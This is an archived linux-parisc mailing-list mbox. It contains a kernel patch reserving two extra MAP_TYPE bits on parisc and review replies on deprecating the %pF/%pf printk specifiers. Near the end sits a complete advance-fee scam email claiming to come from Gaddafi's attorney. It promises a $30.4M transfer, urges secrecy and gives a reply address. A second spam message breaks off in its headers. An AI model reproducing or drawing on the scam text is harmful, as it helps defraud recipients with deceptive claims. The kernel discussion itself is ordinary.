Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27865>

On parisc we want to be as much as possible compatible to the major
architectures like x86. Those architectures have MAP_TYPE defined as 0x0f which
covers MAP_SHARED and MAP_PRIVATE and leaves two more bits unused.

In contrast, on parisc we have MAP_TYPE defined to 0x03 which covers MAP_SHARED
and MAP_PRIVATE only. But we don't have the 2 bits free as x86.

Usually that's not a problem, but during the discussions for pmem+dax support
the idea came up to use the two remaining bits of MAP_TYPE (on x86 and others)
for the new MAP_DIRECT and MAP_SYNC flags. One requirement is, that an old
kernel should correctly handle MAP_DIRECT and MAP_SYNC and fail on those if
set. This only works if MAP_TYPE has 4 bits.

That said, this patch adds the two missing bits in order to gain compatibility
to x86 and to be maybe prepared if at some point in future we will add pmem+dax
support (or any other use case as it's done for x86). The patch as it is now
will not break any old kernel, and if those bits will be used at some point in
future, it's a requirement that users will need to run a kernel with this patch
installed.

Link: http://lkml.org/lkml/2017/8/25/502
Link: http://lkml.org/r/4de21e8d-5e10-ec40-c731-0c079953cf48@gmx.de
Cc: stable@vger.kernel.org
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 775b5d5e41a1..71b0d58dcacd 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -11,9 +11,11 @@
 
 #define MAP_SHARED	0x01		/* Share changes */
 #define MAP_PRIVATE	0x02		/* Changes are private */
-#define MAP_TYPE	0x03		/* Mask for type of mapping */
+#define MAP_TYPE	(MAP_SHARED|MAP_PRIVATE|MAP_RESRVD1|MAP_RESRVD2) /* Mask for type of mapping */
 #define MAP_FIXED	0x04		/* Interpret addr exactly */
+#define MAP_RESRVD1	0x08		/* reserved for 3rd bit of MAP_TYPE */
 #define MAP_ANONYMOUS	0x10		/* don't use a file */
+#define MAP_RESRVD2	0x20		/* reserved for 4th bit of MAP_TYPE */
 
 #define MAP_DENYWRITE	0x0800		/* ETXTBSY */
 #define MAP_EXECUTABLE	0x1000		/* mark it as an executable */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [RFC][PATCH v2 0/7] printk/ia64/ppc64/parisc64: let's deprecate %pF/%pf printk specifiers
Date: Wed, 27 Sep 2017 15:01:43 +1000
Lines: 39
Approved: news@gmane.org
Message-ID: <871smsg2fc.fsf@concordia.ellerman.id.au>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com> <20170922053404.3zpfpwetabjut2er@santosiv.in.ibm.com> <20170922080023.GA599@jagdpanzerIV.localdomain> <3908561D78D1C84285E8C5FCA982C28F61381992@ORSMSX114.amr.corp.intel.com> <20170925070542.GA387@jagdpanzerIV.localdomain>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1506488516 7962 195.159.176.226 (27 Sep 2017 05:01:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 27 Sep 2017 05:01:56 +0000 (UTC)
User-Agent: Notmuch/0.21 (https://notmuchmail.org)
Cc: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>,
        Santosh Sivaraj <santosh@fossix.org>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        "Yu\, Fenghua" <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        "linux-ia64\@vger.kernel.org" <linux-ia64@vger.kernel.org>,
        "linux-parisc\@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        "linuxppc-dev\@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
        "linux-kernel\@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>,
        "Luck\, Tony" <tony.luck@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 27 07:01:50 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dx4Tj-0001yT-0o
	for glpp-linux-parisc@m.gmane.org; Wed, 27 Sep 2017 07:01:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1031849AbdI0FBx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 27 Sep 2017 01:01:53 -0400
Original-Received: from ozlabs.org ([103.22.144.67]:50283 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1031840AbdI0FBs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 27 Sep 2017 01:01:48 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 3y25Jl53tTz9sPt;
        Wed, 27 Sep 2017 15:01:43 +1000 (AEST)
In-Reply-To: <20170925070542.GA387@jagdpanzerIV.localdomain>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27866 gmane.linux.ports.ia64:28162 gmane.linux.ports.ppc64.devel:148341 gmane.linux.kernel:2578838
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27866>

Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com> writes:

> On (09/22/17 16:48), Luck, Tony wrote:
> [..]
>> Tested patch series on ia64 successfully.
>> 
>> Tested-by: Tony Luck <tony.luck@intel.com>
>
> thanks!
>
>> After this goes upstream, you should submit a patch to get rid of
>> all uses of %pF (70 instances in 35 files) and %pf (63 in 34)
>> 
>> Perhaps break the patch by top-level directory (e.g. get all the %pF
>> and %pF in the 17 files under drivers/ in one patch).
>
> frankly, I was going to have some sort of a lazy deprecation process:
> didn't plan to send out a patch set that would hunt down all pf/pF-s.
> hm...

That never works though, we have lots of cruft left over from times when
that's happened and the conversion never quite got finished.

At least if you send out the patches to do the removal they might
eventually get merged.

> speaking of upstream, any objections if this patch set will go through
> the printk tree, in one piece?

Do you mind putting it in a topic branch (based on rc2) and then merge
that into the printk tree? That way I can merge the topic branch iff
there are conflicts later down the line towards 4.15.

cheers
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [RFC][PATCH v2 0/7] printk/ia64/ppc64/parisc64: let's deprecate %pF/%pf printk specifiers
Date: Wed, 27 Sep 2017 16:26:44 +1000
Lines: 74
Approved: news@gmane.org
Message-ID: <87y3p0ejx7.fsf@concordia.ellerman.id.au>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com> <20170922053404.3zpfpwetabjut2er@santosiv.in.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1506493612 13760 195.159.176.226 (27 Sep 2017 06:26:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 27 Sep 2017 06:26:52 +0000 (UTC)
User-Agent: Notmuch/0.21 (https://notmuchmail.org)
Cc: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Santosh Sivaraj <santosh@fossix.org>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Sep 27 08:26:47 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1dx5nw-00034R-Ej
	for glpi-linux-ia64-2@m.gmane.org; Wed, 27 Sep 2017 08:26:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751708AbdI0G0v (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Wed, 27 Sep 2017 02:26:51 -0400
Original-Received: from ozlabs.org ([103.22.144.67]:51871 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751059AbdI0G0u (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
        Wed, 27 Sep 2017 02:26:50 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 3y27Bv0fTlz9sRg;
        Wed, 27 Sep 2017 16:26:47 +1000 (AEST)
In-Reply-To: <20170922053404.3zpfpwetabjut2er@santosiv.in.ibm.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28163 gmane.linux.ports.parisc:27867 gmane.linux.ports.ppc64.devel:148345 gmane.linux.kernel:2578868
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28163>

Santosh Sivaraj <santosh@fossix.org> writes:

> * Sergey Senozhatsky <sergey.senozhatsky@gmail.com> wrote (on 2017-09-20 16:29:02 +0000):
>
>>         Hello
>> 
>>         RFC
>> 
>>         On some arches C function pointers are indirect and point to
>> a function descriptor, which contains the actual pointer to the code.
>> This mostly doesn't matter, except for cases when people want to print
>> out function pointers in symbolic format, because the usual '%pS/%ps'
>> does not work on those arches as expected. That's the reason why we
>> have '%pF/%pf', but since it's here because of a subtle ABI detail
>> specific to some arches (ppc64/ia64/parisc64) it's easy to misuse
>> '%pF/%pf' and '%pS/%ps' (see [1], for example).
>> 
>>         This patch set attempts to move ia64/ppc64/parisc64 C function
>> pointer ABI details out of printk() to arch code. Function dereference
>> code now checks if a pointer belongs to a .opd ELF section and dereferences
>> that pointer only if it does. The kernel and modules have their own .opd
>> sections that's why I use two different ARCH functions: for kernel and
>> for module pointer dereference.
>> 
>>         I planned to remove dereference_function_descriptor() entirely,
>> but then I discovered a bunch other uses cases (kgdbts, init/main.c,
>> extable, etc.), so I decided to keep dereference_function_descriptor()
>> around because the main point of this patch set is to deprecate %pF/%pf.
>> But at the same time, I think I can go further and handle both kernel
>> and module descriptor dereference in dereference_function_descriptor().
>> We need a module pointer for module .opd check, so that will come at an
>> extra cost of module lookup (may be there will some other issues along
>> the way, haven't checked it).
>> 
>> Right now we've got:
>> 
>> - dereference_function_descriptor(addr)
>>         a generic (old) function. it simply attempts to dereference
>>         whatever pointer we give it.
>> 
>> - dereference_kernel_function_descriptor(addr)
>>         dereferences a kernel pointer if it's within the kernel's .opd
>>         section.
>> 
>> - dereference_module_function_descriptor(module, addr)
>>         dereference a module pointer if it's within the module's .opd
>>         section.
>> 
>> 
>> *** A BIG NOTE ***
>>         I don't own ia64/ppc64/parisc64 hardware, so the patches are not
>>         tested. Sorry about that!
>
> Tested patch series on ppc64 sucessfully.
>
> You may add tested by to the series.
>
> Tested-by: Santosh Sivaraj <santosh@fossix.org>

Thanks Santosh.

I also gave it a quick spin. I'll give you an ack for the powerpc changes.

Acked-by: Michael Ellerman <mpe@ellerman.id.au> (powerpc)


Thanks for cleaning this up Sergey.

cheers
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [RFC][PATCH v2 0/7] printk/ia64/ppc64/parisc64: let's deprecate
 %pF/%pf printk specifiers
Date: Thu, 28 Sep 2017 10:11:35 +0900
Lines: 21
Approved: news@gmane.org
Message-ID: <20170928011135.GB3722@jagdpanzerIV.localdomain>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
 <20170922053404.3zpfpwetabjut2er@santosiv.in.ibm.com>
 <87y3p0ejx7.fsf@concordia.ellerman.id.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1506561105 30056 195.159.176.226 (28 Sep 2017 01:11:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 28 Sep 2017 01:11:45 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Santosh Sivaraj <santosh@fossix.org>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 28 03:11:37 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dxNMU-00079U-RR
	for glpp-linux-parisc@m.gmane.org; Thu, 28 Sep 2017 03:11:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752539AbdI1BLl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 27 Sep 2017 21:11:41 -0400
Original-Received: from mail-pg0-f53.google.com ([74.125.83.53]:45891 "EHLO
        mail-pg0-f53.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752520AbdI1BLk (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 27 Sep 2017 21:11:40 -0400
Original-Received: by mail-pg0-f53.google.com with SMTP id 188so27762pgb.2;
        Wed, 27 Sep 2017 18:11:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=tV+AEioxAvn279zvRXSM2DK1KSP5yFLtRrc4nnS4L4k=;
        b=hGxgVYqwPxrtbofhbx5Hu58PlLnED9EXVuyHxsp6iwenmJW8paJNFRVJTvGVdcrF9T
         RcjT9pNUvJLNpsrbXbs7J1Vr5gIJu+O93zgbu/7623Q8E5sfgoN7HgHsQnDnVNV6sRb7
         7zCT3XKh7Zbj7TnRJqjFKL5ZaTukPjonO5kSrOEGgk0MWeDid2wS4rHbVyrdxwIp4wT7
         ueriuuNicdmYObByo+sqNp7sfi3/ZVTLcljvVV2Cwa2UyRN4qeND37F3QLctEVBB/N9j
         qmTtosRfsfiVItFkMKRujbmVaCQ4L4BqcwutALhGazsatwkc/W1lreX4W0Bo+UvsqL4U
         Ykkg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=tV+AEioxAvn279zvRXSM2DK1KSP5yFLtRrc4nnS4L4k=;
        b=kSHG4VeX2fq3zbF+zOHIt/0OnnVBy/3R+SxqFrY14ZFYxOlTMct89FR8KSHH26/B/Z
         AIEBC+g2vdKl25zEmiEauHcm8CStrbDlAkEsmy+YQEqGVLgF8oP+o0vF4CDEdKWuw52X
         Q1//kgDYLZzEEvjpv1jWVKSA2dLzWJdbe+5591dZDwquJsSHC2sVN0X5B5vwT6NMwH/D
         fPYRhI8nU/JU8S9q66rfolazVMzfErzUECeUc3NLVBq9DpmUnKHd1CS78c5vhcLp7RXN
         SK6zc86WGqyzinf5UadUuHUfIwLy5uTfqkC+NQIu4o9WPr4NWKV48bJ9CZY16M0PGb2a
         LTyA==
X-Gm-Message-State: AHPjjUi9ktGSqAuWRIVI2EMPOMbYT9LOkWtGDF4FATH9snQwJJbtfOx7
        ARx2ku5oPioVfbK8RSOr7Q8=
X-Google-Smtp-Source: AOwi7QBplaSwcJ8/rtGD6xTSUcculfBDW3WRu6R2uwL82bdpuA6vaf5m/uQfpKJcEqY0G4X/bE+hqQ==
X-Received: by 10.101.78.131 with SMTP id b3mr2796589pgs.28.1506561100040;
        Wed, 27 Sep 2017 18:11:40 -0700 (PDT)
Original-Received: from localhost ([110.70.52.108])
        by smtp.gmail.com with ESMTPSA id y1sm260842pgp.15.2017.09.27.18.11.37
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 27 Sep 2017 18:11:38 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <87y3p0ejx7.fsf@concordia.ellerman.id.au>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27868 gmane.linux.ports.ia64:28168 gmane.linux.ports.ppc64.devel:148360 gmane.linux.kernel:2579627
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27868>

On (09/27/17 16:26), Michael Ellerman wrote:
[..]
> > Tested-by: Santosh Sivaraj <santosh@fossix.org>
> 
> Thanks Santosh.
> 
> I also gave it a quick spin. I'll give you an ack for the powerpc changes.
> 
> Acked-by: Michael Ellerman <mpe@ellerman.id.au> (powerpc)
> 
> 
> Thanks for cleaning this up Sergey.

thanks!

	-ss
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: MRS <amrutatandle07@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Reply Urgently
Date: Fri, 29 Sep 2017 07:12:05 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <CAA1SnY1=Xy8P5wY0VEDRSr5or2QgS0MaeKZ_8Jm4n7Rkq0riyA@mail.gmail.com>
Reply-To: preciousjeremiah09@gmail.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1506669129 29224 195.159.176.226 (29 Sep 2017 07:12:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Sep 2017 07:12:09 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 29 09:12:03 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dxpSp-00060g-Un
	for glpp-linux-parisc@m.gmane.org; Fri, 29 Sep 2017 09:12:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750977AbdI2HMH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 29 Sep 2017 03:12:07 -0400
Original-Received: from mail-io0-f196.google.com ([209.85.223.196]:33770 "EHLO
        mail-io0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750709AbdI2HMG (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 29 Sep 2017 03:12:06 -0400
Original-Received: by mail-io0-f196.google.com with SMTP id j26so483415iod.0
        for <linux-parisc@vger.kernel.org>; Fri, 29 Sep 2017 00:12:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:reply-to:from:date:message-id:subject:to
         :content-transfer-encoding;
        bh=4NNd34DMXqEkMhZQ2P6FYEH8FwhKNzFOitULPB2u9Bo=;
        b=DqSuy72iY1ZnmEwZYwRr/iP3sl9uWP/XtA2qWasGuf2yNzhIqWopPgeaea2HiWBsst
         lBBVITfUr0jLjrcI/S+F7C+lZtmvT/tOEYC6hSeN4uQxI8JgE0rdL87d1F5745TiULTW
         ShXTR7cxi12ctV65uGMCSGATBoChPuEYe/CeeDaZDZiBv/1PDycn52dWFWU0S9mU+Bz5
         hAtfZO1msbX+sKQyOmn0gtRPYbHAPWottAxuIwmkk0Ok9Hhi+dDLgOGjPT91GAqzFRq8
         OJpkpVW+pgNcXp+e/+8VmNRG5uQXJRtrhw90UapGJLEZ42+YJTCwRmmD+FnJ5+Hlbja7
         hm5g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:reply-to:from:date:message-id
         :subject:to:content-transfer-encoding;
        bh=4NNd34DMXqEkMhZQ2P6FYEH8FwhKNzFOitULPB2u9Bo=;
        b=mIL392kcaVMHJ8eiy5tfeB/ksJ8EOSQkPs+AQ7xBx/ds9Fgodobvbh5FfA7FHIbLIW
         pZ5UozF/Zzybxls7zix5LJJcImCsL4DgCgIWxmqelY3W5l59pjZvzpPTT11vraSGTRDO
         h8yZylGRbUD67vLhSHm+rEjHTec2fpPH0v7nP/nODGlG9L77moiWrB6xcDK3TT4pgOwp
         PxkcrChtcEsUFG4Km8GrshgXY6by9754hnPfquynPgqbjCeV2FkiScKOoRkqKkufnU1L
         sIRdofpqoIFGmGawjCt5QSV/H28e2hCVPeIwY1j1vZ7ByYI0ZqSpSVpH1dpJSPgtTXjt
         LRWA==
X-Gm-Message-State: AMCzsaXSBm3AunYuphGwBS5ccfAEOCmhVRf736rZN0+jnGKaShlWXeUV
        59nj8QC1+kuHanb+N8FOPjWeLRCJsdxyw0SE9iI=
X-Google-Smtp-Source: AOwi7QC/Qll7f6tdfR0TsyMrTSXuogGyxAV/mmT0hl1ZL3sraPJqM9PX4M4Oeijr0Xd//0fN5LRhSRRsOMmr/yFGQbs=
X-Received: by 10.107.133.24 with SMTP id h24mr10729684iod.87.1506669126179;
 Fri, 29 Sep 2017 00:12:06 -0700 (PDT)
Original-Received: by 10.107.12.155 with HTTP; Fri, 29 Sep 2017 00:12:05 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27869
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27869>

Reply Urgently
Attn: Sir/Madam
I am MRS.PRECIOUS JEREMIAH Thomas James Zida the personal resident Attorney
here in Burkina Faso to Late Mr. Muammar Muhammad Abu Minyar
al-Gaddafi of Libya c. 1942 =E2=80=93 20 October 2011.

Late Mr. Muammar Muhammad Abu Minyar al-Gaddafi c. 1942 =E2=80=93 20 Octobe=
r
2011, commonly known as Colonel Gaddafi, was a Libyan former head of
state, revolutionary and a politician, who died on 20 October 2011,
was my client here in Burkina Faso Africa.

My client Late Mr. Muammar Muhammad Abu Minyar al-Gaddafi c. 1942 =E2=80=93=
 20
October 2011, was having a deposit sum of {thirty million four Hundred
thousand united state dollars} only ($30.4M USD) with a security
finance firm affiliated with African development bank here in Burkina
Faso.

With the above explanation=E2=80=99s I want to move this money from Burkina
Faso to your country, affidavit on your name, but note that this is a
deal between me and you and should not be related to anybody until the
deal is over for security reasons, please if interested reply as soon
as possible.Reply To This E-mail Address preciousjeremiah09@gmail.com
Thanks,
MRS.PRECIOUS JEREMIAH Thomas James Zida
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mohammad Ouattara <mohammadouattara27@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Assalamu`Alaikum.
Date: Fri, 29 Sep 2017 09:39:13 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <CAJ4jTgqSnL3xyYn6LZpGcfKYkOHMHX1nRa9-2eUKk7okttqY2g@mail.gmail.com>
Reply-To: mohammad.ouattara3238@gmail.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1506670753 21884 195.159.176.226 (29 Sep 2017 07:39:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Sep 2017 07:39:13 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 29 09:39:09 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dxpt5-0002Wr-QV
	for glpp-linux-parisc@m.gmane.org; Fri, 29 Sep 2017 09:39:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751905AbdI2HjP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 29 Sep 2017 03:39:15 -0400
Original-Received: from mail-qt0-f194.google.com ([209.85.216.194]:43551 "EHLO
        mail-qt0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751830AbdI2HjO (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 29 Sep 2017 03:39:14 -0400
Original-Received: by mail-qt0-f194.google.com with SMTP id i50so600341qtf.0
        for <linux-parisc@vger.kernel.org>; Fri, 29 Sep 2017 00:39:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:reply-to:from:date:message-id:subject:to;
        bh=GQ993Rrwselw0CXMSbfxEPenv2an6QCuznuxpinJNWg=;
        b=gBCqDv38wx5YRz9Ng0LOIfdzmoKxvQ6HZmzdMvyWbzL+QJz9OzqGxQlKwSPNmOJyr3
         1Iaah3okaImmiS/9ePiEgVPceMkV/SZlKtwp5UVYVK482WBJXX0gJj20pPsArGM4hE9v
         iUM9V1Pw63mSjtmseVnBN0N/hRaIs+2HG5e360UBHqnFuA0VSeMMN0OvvMDbNxLeNkrH
         WxYgrwL2Csl0L6oOPs29UUfzyxzdpeuZ/F7BZDtZ3KQZJ7s3U6ktvrfXvl7KNVwall9+
